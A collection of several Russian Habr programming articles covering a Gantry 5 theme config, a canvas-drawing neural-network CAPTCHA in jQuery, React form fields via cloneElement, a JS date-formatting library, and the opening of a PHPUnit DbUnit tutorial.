name: Sau
version: "1.0.0"
icon: paper-plane
date: February 7, 2017
author:
name: AkinaySau
email: akinaysau@gmail.com
link: http://a-sau.ru
copyright: (C) 2017 AkinaySau
license: GPLv2
description: Sau Theme
images:
thumbnail: admin/images/preset1.png
preview: admin/images/preset1.png
# основные настройки, не рекомендую менять без крайней необходимости (за исключением параметра textdomain)
configuration:
gantry:
platform: wordpress
engine: nucleus
theme:
base: gantry-theme://common
file: gantry-theme://includes/theme.php
class: \Gantry\Framework\Theme
textdomain: a_sau
# определение шрифтов
fonts:
roboto:
400: 'gantry-theme://fonts/roboto_regular_macroman/Roboto-Regular-webfont'
500: 'gantry-theme://fonts/roboto_medium_macroman/Roboto-Medium-webfont'
700: 'gantry-theme://fonts/roboto_bold_macroman/Roboto-Bold-webfont'
# определение файлов стилей
css:
compiler: \Gantry\Component\Stylesheet\ScssCompiler
paths:
- gantry-theme://scss
- gantry-engine://scss
files:
- sau
dependencies:
gantry: 5.4.0
#а вот описание этого блока я найти не смог, и на что он влияет не понял. При его редактировании никаких изменений замечено не было.
block-variations:
Box Variations:
box1: Box 1
box2: Box 2
box3: Box 3
box4: Box 4
Effects:
shadow: Shadow 1
shadow2: Shadow 2
rounded: Rounded
square: Square
Utility:
disabled: Disabled
align-right: Align Right
align-left: Align Left
center: Center
full-width: Full Width
equal-height: Equal Height
nomarginall: No Margin
nopaddingall: No Padding
```
**Немного о стилях**
При изучении устройства базовой темы hydrogen заметил “правила хорошего тона”. В директории **/scss/** следует создавать:
● каталог **configuration** в котором располагать файлы с определением переменных, которые будут изменяться через админку;
● каталоги для хранения собственных стилей;
● каталог для стилей описывающих частицы. Таблицу стилей для каждой частицы располагать в отдельном файле.
Заключение
----------
Более глубокое погружение в Gantry 5 заставило попробовать использовать YAML и Twig для написания собственного небольшого плагина. О том что из этого получилось я расскажу в следующий раз. | https://habr.com/ru/post/328808/ | null | ru | null |
# Создание оригинальной каптчи, используя нейронные сети. Часть 1
Как и у всех программистов, недавно у меня возникло желание изобрести собственный “велосипед”. Так как изобретать свою CMS, Framework, и т.д. уже не актуально, то мой взор обратился на каптчу. Казалось бы, что тут можно придумать оригинального, каких только каптч не существует: 2D-картинка, 3D-картинка, звуковая каптча, выбор “правильной” картинки. Но мне пришла в голову мысль, что создатели каптч думают как-то однобоко, то есть все хотят получить однозначно правильный ответ от пользователя (и обычно в тестовом поле), причем в простом виде, серверу лишь остается сравнить ответ с исходными данными! Вот я и решил исправить это дело и создать собственную “умную” каптчу.
##### Вступление
Идея моя проста: выводить пользователю в виде каптчи простые фигуры, например квадрат, круг, треугольник, и просить пользователя нарисовать эти самые фигуры. Конечно, 3 фигуры маловато, но зато можно их комбинировать и выводить в любом количестве. А на сервере принимать ответ пользователя (и как вы уже догадываетесь), распознавать данные образы с помощью нейронной сети (вот поэтому я пока и остановился на 3 фигурах, чтобы облегчить нейронную сеть, использовав только 3 выхода).
Недолго думая приступил я к реализации этой идеи, этот процесс я и собираюсь описывать в статьях...
##### Реализация
Начнем реализацию с клиентской части.
Отдавая дань моде, я воспользуюсь javascript фреймворком jQuery, да и признаюсь, он довольно таки сильно облегчит нашу задачу. В целях ещё большего облегчения задачи будет использоваться , как контейнер для рисования.
Раз я уже решил использовать jQuery, то ради красоты кода и удобства оформим всё в виде плагина, заодно и новичкам такой опыт пригодится. В завершенном виде выглядеть будет где-то так:
```
Demo NNCaptcha
$(document).ready(function(){
//Выводим каптчу
$("#nnCaptcha").nnCaptcha();
});
```
Начнем с пустой “болванки” для плагина.
```
(function($) {
// наши публичные методы
var methods = {
// инициализация плагина
init:function(params) {
var options = $.extend({}, defaults, params);
}
};
$.fn.nnCaptcha = function(method){
if (this.length != 1) {
$.error('not 1 element!');
return;
}
// немного магии
if ( methods[method] ) {
// если запрашиваемый метод существует, мы его вызываем
// все параметры, кроме имени метода прийдут в метод
// this так же перекочует в метод
return methods[ method ].apply( this, Array.prototype.slice.call( arguments, 1 ));
} else if ( typeof method === 'object' || ! method ) {
// если первым параметром идет объект, либо совсем пусто
// выполняем инициализацию капчи
return methods.init.apply( this, arguments );
} else {
// если ничего не получилось
$.error( 'Метод "' + method + '" не найден' );
}
};
})(jQuery);
```
Вот типичная “болванка” плагина для jquery, которая позволяет вызывать внутренние методы и передавать им параметры, например:
```
$("#nnCaptcha").nnCaptcha(‘reset’,1); //вызываеться метод reset с параметром 1 (очистка капчи от “рисулек”)
```
Займемся нашим главным методом init. В нем построим таблицу с N колонок, и двумя строками, вверху будем отображать картинки, а внизу пользователь будет их срисовывать. Повесим все необходимые обработчики и поместим все в DOM документа.
Начнем с построения таблицы. Легким путем я не пошел (вставить готовый html код), зная на что способна функция $(), я построил таблицу “на лету”. Получился довольно не тривиальный способ построения таблицы с переменным количеством столбцов:
```
//Вставляем в контейнер капчи заготовку table
this.append('
');
//Строим таблицу из 2 строк и countCanvas колонок
this.find("table.tbCaptcha").find('tbody')
.append(function($){
var tr = $('|');
for (i=0;i')
.append($('![]()')
.attr('src', 'nnCaptcha.php?image=get')
)
)
return tr;
}($)
).append(function($){
var tr = $('|');
for (i=0;i')
.append($('')
.attr('class', 'captcha')
)
)
return tr;
}($)
);
```
Надеюсь мой способ окажется кому-то полезным, особенно если допилить код, чтобы добавлялось любое кол-во строк.
Теперь самое интересное: реализовать возможность рисовать в canvas.
Главное — получить объект контекста canvas:
```
var ctx = canvas.getContext("2d");
```
А дальше для рисования линий нам понадобятся только эти методы:
```
beginPath(); //Для рисования линии этот метод должен быть вызван первым
moveTo(x, y); //устанавливает точку от которой начнется линия
lineTo(x, y); //устанавливаем точку к которой нужно провести линию
stroke(); //отрисовка линии
```
Осталось лишь правильно засунуть их в события mousedown, mouseup, mousemove, что мы и делаем, попутно выполняя ещё кое-какие действия:
```
// Работаем только с элементами canvas
this.find("canvas.captcha").each(function(i) {
this.width = width;
this.height = height;
var ctx = this.getContext("2d");
var elem = this;
elCanvas[i] = elem;
var drawing = false;
pixCanvas[i] = createArrayPix();
//биндим событие в своем пространстве имен
$(this).bind("mousedown.nnCaptcha",function(e){
//Получаем правильное координаты внутри canvas
var offset = $(elem).offset();
var x = e.pageX - offset.left;
var y = e.pageY - offset.top;
//Заносим признак в бинарную матрицу этого canvas pixCanvas[i][x][y] = 1;
ctx.beginPath();
ctx.strokeStyle = options.selectedColor;
ctx.lineWidth = options.selectedWidth;
ctx.moveTo(x, y);
drawing = true;
elem.style.cursor = 'crosshair';
});
$(this).bind("mouseup.nnCaptcha",function(e){
if (drawing)
{
var offset = $(elem).offset();
var x = e.pageX - offset.left;
var y = e.pageY - offset.top;
ctx.lineTo(x, y);
drawing = false;
pixCanvas[i][x][y] = 1;
}
});
$(this).bind("mousemove.nnCaptcha",function(e){
if (drawing)
{
var offset = $(elem).offset();
var x = e.pageX - offset.left;
var y = e.pageY - offset.top;
ctx.lineTo(x, y);
ctx.stroke();
ctx.moveTo(x, y);
pixCanvas[i][x][y] = 1;
}
elem.style.cursor = 'crosshair';
});
});
```
Вот теперь метод init нашего плагина готов, чтобы все заработало, добавим в плагин глобальные переменные и функцию:
```
// значение по умолчанию
var defaults = { selectedColor:'#000000',selectedWidth:1 };
var countCanvas = 3;
var elCanvas = [];
var width = 100;
var height = 100;
var pixCanvas = [];
function createArrayPix(){
var a=new Array (width);
for (i = 0; i < width; i++)
{
a[i]=new Array (height);
for (j = 0; j < height; j++)
{
a[i][j] = 0;
}
}
return a;
}
```
Объясню зачем эти доп. действия, чтобы когда пользователь будет рисовать в канвазе, все координаты по которым рисовалось(ходила мышь), были занесены в бинарную матрицу — *pixCanvas[Ncanvas][x][y]* (“1” — координата “рисованая”, “0” — нет)
Конечно, куда проще было сделать сохранение картинки в канвазе в PNG c помощью метода:
```
canvas.toDataURL("image/png");
```
Он возвращает картинку канваза в base64, в виде data:URL, который можно было отправить на сервер и раскодировать, но получается при этом PNG картинку на сервере придеться ещё обрабатывать, чтобы получить входные данные на нашу нейронную сеть.
Проще на стороне клиента сразу создавать бинарную матрицу и примерно таким способом отправлять её на сервер:
```
ajax:function(n) {
$.post("test.php", { matrix: JSON.stringify(pixCanvas[n]) } );
}
```
Хотя конечно, можно обойтись и без ajax — создавать скрытый input на форме и json строку помещать там.
Вот теперь собираем весь код плагина вместе:
```
(function($) {
// значение по умолчанию
var defaults = { selectedColor:'#000000',selectedWidth:1 };
var countCanvas = 3;
var elCanvas = [];
var width = 100;
var height = 100;
var pixCanvas = [];
function createArrayPix(){
var a=new Array (width);
for (i = 0; i < width; i++)
{
a[i]=new Array (height);
for (j = 0; j < height; j++)
{
a[i][j] = 0;
}
}
return a;
}
// наши публичные методы
var methods = {
// инициализация плагина
init:function(params) {
// актуальные настройки, будут индивидуальными при каждом запуске
var options = $.extend({}, defaults, params);
//Вставляем в контейнер капчи заготовку table
this.append('
');
//Строим таблицу из 2 строк и countCanvas колонок
this.find("table.tbCaptcha").find('tbody')
.append(function($){
var tr = $('|');
for (i=0;i')
.append($('![]()')
.attr('src', 'nnCaptcha.php?image=get')
)
)
return tr;
}($)
).append(function($){
var tr = $('|');
for (i=0;i')
.append($('')
.attr('class', 'captcha')
)
)
return tr;
}($)
);
// Работаем только с элементами canvas
this.find("canvas.captcha").each(function(i) {
this.width = width;
this.height = height;
var ctx = this.getContext("2d");
var elem = this;
elCanvas[i] = elem;
var drawing = false;
pixCanvas[i] = createArrayPix();
$(this).bind("mousedown.nnCaptcha",function(e){
var offset = $(elem).offset();
var x = e.pageX - offset.left;
var y = e.pageY - offset.top;
pixCanvas[i][x][y] = 1;
ctx.beginPath();
ctx.strokeStyle = options.selectedColor;
ctx.lineWidth = options.selectedWidth;
ctx.moveTo(x, y);
drawing = true;
elem.style.cursor = 'crosshair';
});
$(this).bind("mouseup.nnCaptcha",function(e){
if (drawing)
{
var offset = $(elem).offset();
var x = e.pageX - offset.left;
var y = e.pageY - offset.top;
ctx.lineTo(x, y);
drawing = false;
pixCanvas[i][x][y] = 1;
}
});
$(this).bind("mousemove.nnCaptcha",function(e){
if (drawing)
{
var offset = $(elem).offset();
var x = e.pageX - offset.left;
var y = e.pageY - offset.top;
ctx.lineTo(x, y);
ctx.stroke();
ctx.moveTo(x, y);
pixCanvas[i][x][y] = 1;
}
elem.style.cursor = 'crosshair';
});
});
return this;
},
test:function(n,x,y) {
alert(pixCanvas[n][x][y]);
},
ajax:function(n) {
$.post("test.php", { name: JSON.stringify(pixCanvas[n]) } );
},
// сброс
reset:function(n) {
//alert(n);
if (n !== undefined){
var c = elCanvas[n];
var ctx = c.getContext("2d");
ctx.clearRect(0, 0, c.width, c.height);
pixCanvas[n] = createArrayPix();
} else {
$.each(elCanvas,function(i) {
var ctx = this.getContext("2d");
ctx.clearRect(0, 0, this.width, this.height);
pixCanvas[i] = createArrayPix();
});
}
}
};
$.fn.nnCaptcha = function(method){
if (this.length != 1) {
$.error('not 1 element!');
return;
}
// немного магии
if ( methods[method] ) {
// если запрашиваемый метод существует, мы его вызываем
// все параметры, кроме имени метода прийдут в метод
// this так же перекочует в метод
return methods[ method ].apply( this, Array.prototype.slice.call( arguments, 1 ));
} else if ( typeof method === 'object' || ! method ) {
// если первым параметром идет объект, либо совсем пусто
// выполняем метод init
return methods.init.apply( this, arguments );
} else {
// если ничего не получилось
$.error( 'Метод "' + method + '" не найден' );
}
};
})(jQuery);
```
Конечно многое ещё “сырое”, и я постоянно все допиливаю, но идея думаю понятна. В живую работу плагина можно посмотреть [тут](http://goo.gl/WLWWh). Ещё один «недостаток» этого кода, что он работает лишь в актуальных и современных браузерах (например, из-за того же canvas или «JSON.stringify()»), хотя при желании можно легко переделать всё под IE8- подобные браузеры…
##### Обобщение
Как показала дальнейшая практика, выбор квадрата 100х100 дает кол-во входов у нейронной сети — 10000, что довольно таки много. Скорее всего, квадраты для каптчи будут поменьше (да хотя бы 50х50), все будет зависеть от скорости обработки на сервере...
В качестве реализации нейронной сети в гугле я нашел «ANN — Artificial Neural Network for PHP 5.x».
Поначалу было интересно использовать “живой” пример реализации на PHP 5.3 с использованием неймспейсов, но когда я пытался обучить сеть с 10ю входами и 3мя выходами, это занимало больше 10 мин, представляю, сколько будет обучаться реальная выборка. В общем возможно придется даже тут изобретать свой велосипед. Можно конечно взять всем известную библиотеку FANN, но во первых она вряд ли дружит с PHP 5.3, во вторых на Windows откомпилированных решений нет (да и особо не нужно), а на хостинге хостер не дает поставить, но своего VDS пока нет. Да и если распространять каптчу, FANN придется занести в требования.
Хотя не обязательно привязываться к PHP на сервере, благо других серверных языков хватает...
Но вернемся к нашей каптче, понятное дело, что в таком виде она легко ломается ботами — достаточно отправить на сервер 3 “правильных” бинарных матриц (я уже не упоминаю про распознавание фигур, так как задача довольно проста). Хотя конечно на сервере можно исключить из результатов вероятности выше 0,95 (вряд ли пользователи рисуют как Пикассо и правильно нарисовать мышью может только бот), но всё же для надежности, я думаю, надо криптовать матрицу функцией с ключем, которую будет выдавать сервер (и не обязательно одной и той же), естественно в не читаемом и упакованном виде.
**Теперь, если даже бот распознает правильно картинку — отправить на сервер правильную бинарную матрицу не сможет!**
Дальше можно придумать ещё много чего:
1. Искажение фигур которые надо нарисовать;
2. Разные цвета в разных блоках;
3. Защита по сессиям от перебора;
4. Вложенные фигуры (а нарисовать одну надо);
и другие возможности.
Конечно уже то, что ответ формируется джаваскриптом, уже хоть какая защита от примитивных спам-ботов. Пока кто-то целенаправленно не займется взломом именно этой каптчи, вряд ли какой-то спам бот обойдет её, особенно если предусмотреть при взломе замену/перебор крипто-алгоритма (каких можно придумывать великое множество).
##### Заключение
Статья получилось, конечно, сырой, все-таки процесс написания каптчи ещё идет и в голове постоянно возникают новые мысли. Так что эта статья точно не последняя, и я готов выслушать ваши комментарии и предложения по усилению защиты каптчи, “правильной” реализации, а так же по методам её взлома.
P.S. Картинки на каптче нарисованы в Paint'e просто для примера! Алгоритм генерации ещё не придуман. | https://habr.com/ru/post/125204/ | null | ru | null |
# Недооцененная альтернатива для HOC’ов и кастомных хуков в react и при чем здесь React.CloneElement?
При создании react-приложений часто появляется необходимость расширить функционал уже существующего компонента или переиспользовать общий кусок логики между компонентами, желательно минимально не вмешиваясь в реализацию целевого компонента. У большинства разработчиков в таком случае мысль в первую очередь обращается к использованию HOC (hight order component или по-русски компонент высшего порядка) или же кастомных хуков. Однако у меня нет никакого желания пересказывать вам уже всем давно известные паттерны, которые вы, вероятно, знаете даже лучше меня (если все же вы не знакомы с ними по какой-то причине, то информации на этот счет огромное кол-во, вы легко найдете замечательные материалы).
Сегодня я бы хотел рассказать об альтернативе для вышеупомянутых паттернов, которую незаслуженно обходят стороной во многих обзорах полезных практик при построении react-приложений. Решение довольно специфичное, но в некоторых кейсах может помочь вам очень элегантно организовать код.
Однако чтобы вы смогли по достоинству оценить подход, я предлагаю начать не с его презентации, а с погружения в проблему, решение которой как раз и раскроет перед вами весь потенциал паттерна.
### Суть проблемы
Представим такую задачу, а именно нам требуется создать компонент формы для ui-kit с нуля. Так же предлагаю поразмышлять над этой задачкой больше с точки зрения удобства использования нашего компонента.
Как должен выглядеть дизайн интерфейса нашего компонента формы:
1. Форма должна уметь свободно взаимодействовать с любыми полями формы, например если мы захотим использовать компонент Select из какой-нибудь библиотеки, то его интеграция не должна вызывать хоть малейших трудностей;
2. Форма должна cоотвествовать семантике и реализовывать привычное поведение тега [form](https://developer.mozilla.org/ru/docs/Web/HTML/Element/form) из HTML5
3. Состояние компонента должно храниться и управляться снаружи из соответствующего кастомного хука (это уже мое желание, т.к. я считаю такой способ работы с состоянием в данном случае более удобным чем альтернативы)
Исходная структура проекта:
```
├── components/
│ ├── Form/ (для начала обратим все внимание сюда)
│ │ ├── Form.hooks.ts
│ │ └── Form.tsx
│ ├── Input/
│ │ └── Input.tsx
│ ├── Select
│ │ └── Select.tsx
│ └── ...other components (сотня-другая компонентов, в том числе вариаций полей формы)
├── App.tsx
└── index.ts
```
А теперь давайте посмотрим на реализацию (пример упрощенный конечно же, ведь статья не о том, как создать самый лучший компонент формы в мире, поэтому сконцентрируемся на главном, а детали опустим):
```
/** src/components/Form/Form.tsx */
type FormProps = {
children?: React.ReactNode;
/** ...и все остальные пропсы, которые нужны для функционирования компонента */
}
/** Сам компонент формы, который представляет из себя на данный момент просто обертку, в которую отрисуются нужные поля */
export const Form: React.FC = ({ children, ...restProps }) => {
/\*\*
\* ...тут например какая-то логика, которая нужна в работе компоненту
\*/
return {children};
};
```
```
/** src/components/Form/Form.hooks.tsx */
type IUseFormStateProps = {
/** ...нужные props для хука */
}
/** Кастомный хук для работы с состоянием компонента формы */
export const useFormState = ({ initialState = {} }: IUseFormStateProps) => {
const [state, setState] = useState(initialState)
const updateValues = useCallback(({name, value}: { name: string; value: any }) => {
setState(((prevState) => ({...prevState, ...{[name]: value}})))
}, []);
return {
state,
handlers: {
updateValues,
},
};
};
```
И конечно как будем использовать данный компонент:
```
/** src/App.tsx */
function App() {
const { state, handlers } = useFormState({});
return (
handlers.updateValues({ name: "username", value })
}
/>
handlers.updateValues({ name: "password", value })
}
/>
handlers.updateValues({ name: "gender", value })}
/>
);
}
export default App;
```
Проблема уже стала довольно очевидной, но давайте я ее все таки подсвечу для протокола. Обратите внимание на то, как неоправданно раздулись наши поля формы в тех местах, где мы выбираем текущее value и привязываем обработчик onChange. Неужели мы должны каждому полю внутри нашей формы каждый раз руками указывать откуда взять его текущее value, а какой у него должен быть onChange? А общие стили для полей формы где располагать, вдруг нам нужна для них однотипная обертка, например чтобы в нее вывести сообщение об ошибке при заполнении поля? А как же [DRY](https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself), тут явно же им не пахнет даже? А как же инкапсуляция хотя бы в каком-нибудь виде?
Такой подход это же огромное пространство для ошибок и неоднозначного кода! Проблем можно предсказать огромное кол-во, например написание сложной логики в обработчиках onChange, сложная вложенность в state и соответствующие длинные пути при попытке достать нужное value и многое другое.
Наш долг, как ответственного разработчика, помочь избежать этих проблем.
Какие могут быть возможные пути решения? Можно вынести всю общую логику по связи состояния формы и ее полей (инпуты, селекты, чекбоксы) в одну обертку, например используя HOC, который будет получать нужные данные из контекста формы. Выглядеть это может например вот так:
```
/** src/components/Form/Form.tsx */
/**
* Добавим в наш компонент формы React.Context,
* чтобы можно было легко получить доступ до данных
* ниже по дереву компонентов
*/
type IFormContext = {
/** ...обработчики, состояние и все-все, что должны получить дочерние компоненты */
};
export const FormContext = React.createContext({
state: {},
handlers: {
updateValues: () => console.error("not initialized"),
},
});
type FormProps = {
formEntity: IFormContext;
children?: React.ReactNode;
/\*\* ... \*/
};
export const Form: React.FC = ({
children,
formEntity,
...restProps
}) => {
/\*\*
\* ...
\*/
return (
{children}
);
};
```
```
/** src/components/Form/withFormState.tsx */
/** Как могла бы выглядеть реализация самого HOC'a */
export const withFormState = <
T extends WithFormStateProps = WithFormStateProps
>(
WrappedComponent: React.ComponentType,
name: string
) => {
const { state, handlers } = useContext(FormContext);
const value = state[name]?.value || null;
const hocComponent = ({ ...props }) => (
);
return hocComponent;
};
```
И как-то так это могло бы использоваться:
```
/** src/App.tsx */
function App() {
const formEntity = useFormState({});
const UsernameField = withFormState(Input, "name");
const PasswordField = withFormState(Input, "password");
const GenderField = withFormState(Select, "gender");
return (
);
}
export default App;
```
М-да, изящества в таком подходе маловато. Тогда может заранее подготовим поля формы к использованию? Например сохраним результат вызова HOC’a в новый компонент и будем работать уже с ним.
```
├── components/
│ ├── Form/
│ │ ├── Form.hooks.ts
│ │ └── Form.tsx
│ ├── Input/
│ │ ├── Input.tsx
│ │ └── ! EnhancedInput.tsx (сохраним сюда подготовленный для работы с формой инпут)
│ ├── Select/
│ │ ├── Select.tsx
│ │ └── ! EnhancedSelect.tsx (и сюда...)
│ └── ...other components (и сделаем так для каждого компонента формы в проекте?)
├── App.tsx
└── index.ts
```
```
/** src/components/Input/EnhancedInput.tsx */
type EnhancedInputProps = {
name: string;
} & InputProps;
/** Как например эти Enchanced компоненты могли бы выглядеть */
export const EnhancedInput: React.FC = ({ name, ...restProps }) => {
const ResultComponent = withFormState(Input, name)
return ;
};
```
Если такой подход и лучше, то незначительно. Неужели мы хотим делать обертки для каждого компонента, который будет частью формы? Инпуты, селекты, чекбоксы уже и так есть в кодовой базе, **мы не должны плодить ненужные усложнения в проекте**!
Мысли же о пользе кастомных хуков в данной ситуации заведут нас примерно в такой же тупик. Так же что делать?
### Решение о котором почему-то редко упоминают
Под react созданы десятки библиотек компонентов разной степени успешности, а удобная работа с формой одна из популярнейших проблем в мире веб-разработки. Так как же решили данную задачку крупные проекты, например [ant design](https://ant.design/)? Давайте посмотрим.
Самый первый пример (с небольшими изменениями) использования компонента [Form](https://ant.design/components/form/) из библиотеки antd:
```
import { Button, Checkbox, Form, Input } from 'antd';
import React from 'react';
const AntdExample: React.FC = () => {
const onFinish = (values: any) => {
console.log('Success:', values);
};
const onFinishFailed = (errorInfo: any) => {
console.log('Failed:', errorInfo);
};
return (
Remember me
Submit
);
};
export default AntdExample;
```
Обратите внимание, как изящно скрывается от глаз логика привязки value и onChange (**и много чего еще на самом деле!**) к полям формы через композицию компонентов [Form.Item](https://ant.design/components/form/#Form.Item) и любого из инпутов! Никакой ручной подстановки значений, просто свяжи нужные части через children и все готово! Но где же привычное прокидывание props? Если где-то магически подставляются новые props, то как они не мешают старым проброшенным props руками из разметки? Как это работает вообще?
Давайте я покажу упрощенную реализацию и обсудим самые главное моменты.
В основе всего лежит в первую очередь конечно же контекст. Обращаясь к контексту, Form.Item в базовом виде делает всего 2 вещи:
1. Вытаскивает из контекста нужное значение поля по идентификатору (в нашем случае это name)
2. Инжектирует нужные данные, например value, onChange и т.д., в целевой компонент (ага, тот самый, который является ребенком компонента Form.Item), через его копирование с нужными параметрами (Да, вы правильно поняли. Вы же не забыли о [React.CloneElement](https://ru.reactjs.org/docs/react-api.html#cloneelement)?)
```
type FormItemProps {
name: string;
className?: string;
/** Если мы хотим обращаться к props у children, то значение должно быть именно ReactElement */
children?: ReactElement;
}
/** Наш упрощенный аналог Form.Item из antd */
export const FormItem = ({ children, className, name }: ItemProps) => {
/** Достаем все что нужно из контекста нашей формы */
const { state, handlers } = useContext(FormContext);
const value = state?.[name]?.value || null;
const handleChange = (value) => handlers.updateValues({ name: name, value: value });
/** Готовим props, которые хотим подмешать к нашему целевому компоненту */
const injectionProps = {
value,
onChange: handleChange,
};
/** Клонируем элемент, с уже обновленными props (слияние новых и старых props произойдет автоматически) */
const clonedElement = React.cloneElement(children, injectionProps)
/**
* Возвращаем привычную разметку, добавив обертку,
* к которой можно привязать общие стили полей формы,
* внутри нее вывести сообщение о текущем статусе валидации поля
* и т.д.
*/
return {clonedElement};
}
```
И теперь получаем возможность организовать работу с нашим компонентом формы так, чтобы коллеги не захотели выгнать нас из команды:
```
/** src/App.tsx */
/** Пример использования формы, но уже с новым паттерном */
function App() {
const formEntity = useFormState({});
return (
);
}
export default App;
```
### Итоги
Мы проделали совсем немного работы, но улучшили опыт взаимодействия с нашим компонентом кардинальным образом.
Конечно впереди еще много нюансов, которые нам потребуется закрыть перед тем как наш компонент будет полностью готов к использованию (например потребуется еще поколдовать над типизацией, обработкой исключений при взаимодействии с некорректным children, добавить необходимый функционал и т.п.), но сам подход выглядит очень привлекательно, на мой взгляд. Я надеюсь, что моя статья была вам полезна и я смог расширить ваш арсенал для построения react-приложений еще на один прием. | https://habr.com/ru/post/676384/ | null | ru | null |
# Библиотечка datef — форматирование дат
Разрешите представить [datef](https://github.com/hogart/datef) — мини-JS-библиотеку вывода даты в разных форматах.
Вкратце опишу имеющиеся фичи:
* Выполняет одну и только одну задачу: вывод дат в разных, потребных юзеру форматах;
* Работает в nodejs и в браузерах. В браузерах может работать как [requirejs/amd](http://requirejs.org/docs/whyamd.html)-модуль;
* Не мусорит в прототипах встроенных объектов;
* Написана в strict mode;
* Обильно аннотирована в js-doc-формате;
* Не имеет внешних зависимостей.
Примеры использования:
```
datef('dd.MM.YY', new Date()); // "13.08.12"
datef('dd.MM.YY'); // второй аргумент необязателен — берется «сейчас»
var d = new Date();
d.setFullYear(2045);
datef('dd.MM.YYYY', d); // "13.08.2045"
// есть несколько заранее заданных форматов:
datef.formatters.ISODateTimeTZ(); // "2012-08-13T15:01:29 -04:00"
// можно определить и сохранить свой…
datef.register('myFormat', 'd.M.YY');
datef.formatters.myFormat(); // "13.8.12"
// или просто получить его как отдельную функцию
var myFormat = datef.createFormatter('d.M.YY');
```
##### Как оно устроено?
Самое интересное для меня, с точки зрения кода, было соблюдение экологии — то есть работа с системой модулей как nodejs, так и requirejs/amd. К счастью, все оказалось довольно просто:
```
(function () {
'use strict';
var datef = {
answer: 42
};
// Expose our precious function to outer world.
if (typeof exports !== 'undefined') { // node.js way
module.exports.datef = datef;
} else if (typeof define === 'function' && define.amd) { // requirejs/amd env
define(
'datef',
[],
function () {
return datef;
}
);
} else { // plain browser environment
root.datef = datef;
}
})();
```
Заменив название моей библиотеки своим, можно просто и быстро превратить свою мини-утилиту в модуль с поддержкой разных окружений.
Что касается собственно ядра библиотеки, то там все прямолинейно, и, даже, наверное, скучно: имеется набор токенов, которые служат ключами в объекте. Значения этих ключей — функции, которым передается собственно нужная дата и которые возвращают соответствующее значение. На основе этих же токенов генерируется регулярное выражение, которым и парсится строка формата.
##### Но зачем?
Как известно, в Javascript нет поддержки чего-нибудь вроде Date#toFormat. Существует только [нестандартный Gekko'вский Date#toLocaleFormat](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Date/toLocaleFormat). В один прекрасный момент я понял, что таскаю из проекта в проект одни и те же примитивные велосипеды вида utils.date.humanDate, utils.date.humanTime и им подобные — и стал искать проверенные, гибкие ~~велосипеды~~ решения, созданные матерыми разработчиками.
К сожалению, нашлись только какие-то очень старые библиотечки — как правило, монструзные, комплексные решения по работе с датами, зачастую, к тому же, грешащие расширением Date.prototype, и я решил сделать свою, современную и расширяемую библиотеку.
##### А где фича X?
В планах значится — создание локалей, покрытие тестами и выбор лицензии. Если вам чего-то не хватает — то код неспроста выложен на гитхаб:)
##### Почему оно ни с чем не совместимо?
Потому что 80% функциональности [strftime](http://pubs.opengroup.org/onlinepubs/007908799/xsh/strftime.html) или [PHP date()](http://php.net/manual/ru/function.date.php) требует 20% времени; остальные 20% функциональности будут нужны 20% людей и потребуют 80% времени. А мне хотелось создать быстрое решение с читабельными токенами. | https://habr.com/ru/post/149514/ | null | ru | null |
# PHPUnit и его Database Extension. Беглый взгляд
### Пространное и многословное вступление
Уже чуть более года в проекте где я работаю ходят разговоры о модульном тестировании. Помимо разговоров неоднократно делались попытки превратить эти разговоры в жизнь. Все попытки на данный момент закончились тем, что ни один ранее написанный модульный тест не прогоняется в процессе разработки. Все они лежат мертвым кодом в недрах нашей системы. Представили такой себе постсоветский индастриэл? Торчащие колонны из земли, ржавая арматура на фоне хмурого неба:)
Некоторые тесты не используются ввиду того что тестируемый функционал так и не вышел в продакшн и на годы осел в файлах и директориях, а некоторые просто всех утомили тем хаосом который там был сотворен. Вся та произведенная нами на свет энтропия стала результатом нашей некомпетентности в модульном тестировании и не системного подхода к их внедрению. В наших тестах нарушены практически все принципы модульного тестирования. Начиная с того что они зависят один от другого заканчивая тем что в них можно увидеть разбухшие от подготовительной работы тестовые методы пестрящие sql-синтаксисом и многое другое… Плюс ко всему выше названному, почти все предыдущие попытки внедрения модульного тестирования были в большей мере самодеятельностью не особо санкционированной заказчиком, потому как только происходил затык тесты бросались и функционал начинал писаться в отрыве от тестов, и стоит ли говорить о том что к дописыванию тестов возвращаться не собирался никто.
### Плавный переход к практической стороне вопроса
Это все лирика. Теперь пойдет больше по делу. Как можно понять проект написан на php, не маленький и живет уже по меньшей мере больше года(а в действительности 4 года).
Настали времена когда даже самые упрямые и «технически грамотные» заказчики стали понимать необходимость в качестве кода на котором так настаивают сочувствующие PM-ы. Сверху пришла «указивка» заняться модульным тестированием по настоящему. Даже задачи в жиру положили соответствующие.
Итак основываясь на нашем опыте прежних неудач мы выделили ряд проблем:
1. Проблема фикстур. Не все что берется из базы можно заменить
моками. Связанно это с некоторой безсистемностью работы с базой. У нас нет ORM и все функции последнего между делом выполняет модель.
2. Скорость прогона тестов. Последняя попытка внедрения захлебнулась
отчасти из-за этого, а отчасти и …
3. Поддерживаемость. … из-за неподдерживаемости причиной которой
стала проблема из п.1 решая которую мы оснастили наши тесты
многострочными инсертами и апдейтами.
Мы обратились к компетентному в этом вопросе коллеге — Java-разработчику. Он то нам и поведал о таких инструментах как JUnit и DbUnit. Он же нам и рассказал о процессе который они используют с участием этого инструментария: во время разработки они прогоняют тесты на in memory базах данных, решая таким образом задачу скорости работы тестов увеличивая вероятность их более частого запуска, перед коммитами они запускают те же тесты на реальной базе и потом еще добивают баги continious integration системой.
xUnit фреймворк(SimpleTest) мы использовали и ранее, а вот о DbUnit мы слышали впервые. Собственно о нем и пойдет речь далее. Для php есть реализация DbUnit в виде расширения к PHPUnit. Смысл его использования в том что все фикстуры готовятся в виде xml-файлов и заливаются в тестовую базу перед запуском каждого тестового метода. Это по моему мнению решает задачу поддерживаемости фикстур, потому как все же xml более читаемый чем sql-дампы.
### Практический пример
Предположим есть у нас таблица person
> `1. **CREATE** **TABLE** person (
> 2. id INTEGER **PRIMARY** **KEY** AUTOINCREMENT,
> 3. name VARCHAR(255),
> 4. surname VARCHAR(255)
> 5. );`
>
>
Для того что бы что-то в ней тестировать нужно что бы она была наполнена какими-то данными. В Database Extension PHPUnit наполнение описывается в xml формате, по одному элементу на каждую строку в таблице. Имя элемента должно соответствовать имени таблицы, а имена атрибутов — именам полей таблицы.
Создадим такой себе persons.xml с фикстурой для этой таблицы:
